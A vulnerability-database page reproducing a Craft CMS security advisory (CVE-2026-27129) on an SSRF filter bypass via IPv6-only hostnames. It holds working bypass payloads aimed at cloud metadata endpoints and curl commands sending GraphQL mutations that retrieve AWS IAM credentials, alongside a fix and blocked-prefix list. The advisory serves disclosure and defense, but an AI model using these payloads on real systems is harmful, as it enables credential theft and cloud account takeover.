CVE-2026-27129: Craft CMS: Cloud Metadata SSRF Protection Bypass via IPv6 Resolution
The SSRF validation in Craft CMS’s GraphQL Asset mutation uses gethostbyname(), which only resolves IPv4 addresses. When a hostname has only AAAA (IPv6) records, the function returns the hostname string itself, causing the blocklist comparison to always fail and completely bypassing SSRF protection. This is a bypass of the security fix for CVE-2025-68437 (GHSA-x27p-wfqw-hfcc).
Published Feb 24, 2026
Affected packages
craftcms/cms
- Ecosystem
- Composer (PHP)
- Affected
- >= 5.0.0-RC1, <= 5.8.22
- Fixed in
- 5.8.23
- Check
composer show craftcms/cms
craftcms/cms
- Ecosystem
- Composer (PHP)
- Affected
- >= 3.5.0, <= 4.16.18
- Fixed in
- 4.16.19
- Check
composer show craftcms/cms
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
The SSRF validation in Craft CMS’s GraphQL Asset mutation uses gethostbyname(), which only resolves IPv4 addresses. When a hostname has only AAAA (IPv6) records, the function returns the hostname string itself, causing the blocklist comparison to always fail and completely bypassing SSRF protection.
This is a bypass of the security fix for CVE-2025-68437 (GHSA-x27p-wfqw-hfcc).
Required Permissions
Exploitation requires GraphQL schema permissions for:
- Edit assets in the
<VolumeName>volume - Create assets in the
<VolumeName>volume
These permissions may be granted to:
- Authenticated users with appropriate GraphQL schema access
- Public Schema (if misconfigured with write permissions)
---
Technical Details
Root Cause
From PHP documentation: *"gethostbyname - Get the IPv4 address corresponding to a given Internet host name"*
When no IPv4 (A record) exists, gethostbyname() returns the hostname string unchanged.
Bypass Mechanism
+-----------------------------------------------------------------------------+
| Step 1: Attacker provides URL |
| http://fd00-ec2--254.sslip.io/latest/meta-data/ |
+-----------------------------------------------------------------------------+
| Step 2: Validation calls gethostbyname('fd00-ec2--254.sslip.io') |
| -> No A record exists |
| -> Returns: "fd00-ec2--254.sslip.io" (string, not an IP!) |
+-----------------------------------------------------------------------------+
| Step 3: Blocklist check |
| in_array("fd00-ec2--254.sslip.io", ['169.254.169.254', ...]) |
| -> FALSE (string != IPv4 addresses) |
| -> VALIDATION PASSES |
+-----------------------------------------------------------------------------+
| Step 4: Guzzle makes HTTP request |
| -> Resolves DNS (including AAAA records) |
| -> Gets IPv6: fd00:ec2::254 |
| -> Connects to AWS IMDS IPv6 endpoint |
| -> CREDENTIALS STOLEN |
+-----------------------------------------------------------------------------+---
Bypass Payloads
Blocked IPv4 Addresses and Their IPv6 Bypass Equivalents
| Cloud Provider | Blocked IPv4 | IPv6 Equivalent | Bypass Payload | | **AWS EC2 IMDS** | `169.254.169.254` | `fd00:ec2::254` | `http://fd00-ec2--254.sslip.io/` | | **AWS ECS** | `169.254.170.2` | `fd00:ec2::254` (via IMDS) | `http://fd00-ec2--254.sslip.io/` | | **Google Cloud GCP** | `169.254.169.254` | `fd20:ce::254` | `http://fd20-ce--254.sslip.io/` | | **Azure** | `169.254.169.254` | No IPv6 endpoint | N/A | | **Alibaba Cloud** | `100.100.100.200` | No documented IPv6 | N/A | | **Oracle Cloud** | `192.0.0.192` | No documented IPv6 | N/A |
Additional IPv6 Internal Service Bypass Payloads
| Target | IPv6 Address | Bypass Payload | | **IPv6 Loopback** | `::1` | `http://0-0-0-0-0-0-0-1.sslip.io/` | | **AWS NTP Service** | `fd00:ec2::123` | `http://fd00-ec2--123.sslip.io/` | | **AWS DNS Service** | `fd00:ec2::253` | `http://fd00-ec2--253.sslip.io/` | | **IPv4-mapped IPv6** | `::ffff:169.254.169.254` | `http://0-0-0-0-0-0-ffff-a9fe-a9fe.sslip.io/` |
---
Steps to Reproduce
Step 1: Verify DNS Resolution
# Verify the hostname has no IPv4 record (what gethostbyname sees)
$ dig fd00-ec2--254.sslip.io A +short
# (empty - no IPv4 record)
# Verify the hostname has IPv6 record (what Guzzle/curl uses)
$ dig fd00-ec2--254.sslip.io AAAA +short
fd00:ec2::254Step 2: Enumerate AWS IAM Role Name
curl -sk "https://TARGET/index.php?p=admin/actions/graphql/api" \
-H "Content-Type: application/json" \
-H "Authorization: Bearer YOUR_GRAPHQL_TOKEN" \
-d '{
"query": "mutation { save_photos_Asset(_file: { url: \"http://fd00-ec2--254.sslip.io/latest/meta-data/iam/security-credentials/\", filename: \"role.txt\" }) { id } }"
}'Step 3: Retrieve AWS Credentials
# Replace ROLE_NAME with the role discovered in Step 2
curl -sk "https://TARGET/index.php?p=admin/actions/graphql/api" \
-H "Content-Type: application/json" \
-H "Authorization: Bearer YOUR_GRAPHQL_TOKEN" \
-d '{
"query": "mutation { save_photos_Asset(_file: { url: \"http://fd00-ec2--254.sslip.io/latest/meta-data/iam/security-credentials/ROLE_NAME\", filename: \"creds.json\" }) { id } }"
}'Step 4: Access Saved Credentials
The credentials will be saved to the asset volume (e.g., /userphotos/photos/creds.json).
---
Attack Scenario
- Attacker finds Craft CMS instance with GraphQL asset mutations enabled
- Attacker sends mutation with
url: "http://fd00-ec2--254.sslip.io/latest/meta-data/iam/security-credentials/" - Error message or saved file reveals IAM role name
- Attacker retrieves credentials via second mutation
- Attacker uses credentials to access AWS services
- Attacker can now achieve code execution by creating new EC2 instances with their SSH key
---
Remediation
Replace gethostbyname() with dns_get_record() to check both IPv4 and IPv6:
// Resolve both IPv4 and IPv6 addresses
$records = @dns_get_record($hostname, DNS_A | DNS_AAAA);
if ($records === false) {
$records = [];
}
// Blocked IPv6 metadata prefixes
$blockedIPv6Prefixes = [
'fd00:ec2::', // AWS IMDS, DNS, NTP
'fd20:ce::', // GCP Metadata
'::1', // Loopback
'fe80:', // Link-local
'::ffff:', // IPv4-mapped IPv6
];
foreach ($records as $record) {
// Check IPv4 (existing logic)
if (isset($record['ip']) && in_array($record['ip'], $blockedIPv4)) {
return false;
}
// Check IPv6 (NEW)
if (isset($record['ipv6'])) {
foreach ($blockedIPv6Prefixes as $prefix) {
if (str_starts_with($record['ipv6'], $prefix)) {
return false;
}
}
}
}Additional Mitigations
| Mitigation | Description | | Block wildcard DNS services | Block nip.io, sslip.io, xip.io suffixes | | Use `dns_get_record()` | Resolves both IPv4 and IPv6 |
---
Resources
- https://github.com/craftcms/cms/commit/2825388b4f32fb1c9bd709027a1a1fd192d709a3
- PHP: gethostbyname - "Get the IPv4 address corresponding to a given Internet host name"
- GHSA-x27p-wfqw-hfcc - Original SSRF vulnerability (CVE-2025-68437)
- AWS IMDS IPv6 Documentation
- GCP Metadata Server Documentation
- PayloadsAllTheThings - SSRF Cloud Instances
Credited to RajChowdhury240, rlarabee.
References
- https://github.com/craftcms/cms/security/advisories/GHSA-v2gc-rm6g-wrw9
- https://github.com/craftcms/cms/security/advisories/GHSA-x27p-wfqw-hfcc
- https://nvd.nist.gov/vuln/detail/CVE-2026-27129
- https://github.com/craftcms/cms/commit/2825388b4f32fb1c9bd709027a1a1fd192d709a3
- https://github.com/advisories/GHSA-v2gc-rm6g-wrw9
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
More Composer (PHP) vulnerabilities
All Composer (PHP) entriesGHSA-wg23-69c2-gjc8
Craft CMS: Passkey login accepts replayed WebAuthn assertions
critical9.1Aug 7, 2026CVE-2026-14793
Craft CMS: Missing authorization check allows non-admin control panel users to reorder Global Sets
medium4.3Aug 6, 2026CVE-2026-14794
Craft CMS: Missing authorization check allows non-admin control panel users access to user registration metrics
medium4.3Aug 6, 2026CVE-2026-72778
Craft CMS: Authenticated RCE via `condition.config` JSON cleanse bypass
high8.7Aug 6, 2026CVE-2026-72779
Craft CMS: Arbitrary file read via SplFileObject in non-sandboxed template contexts
medium6.9Aug 6, 2026CVE-2026-72781
Craft CMS: Authenticated RCE through Twig sandbox escape
high8.7Aug 6, 2026
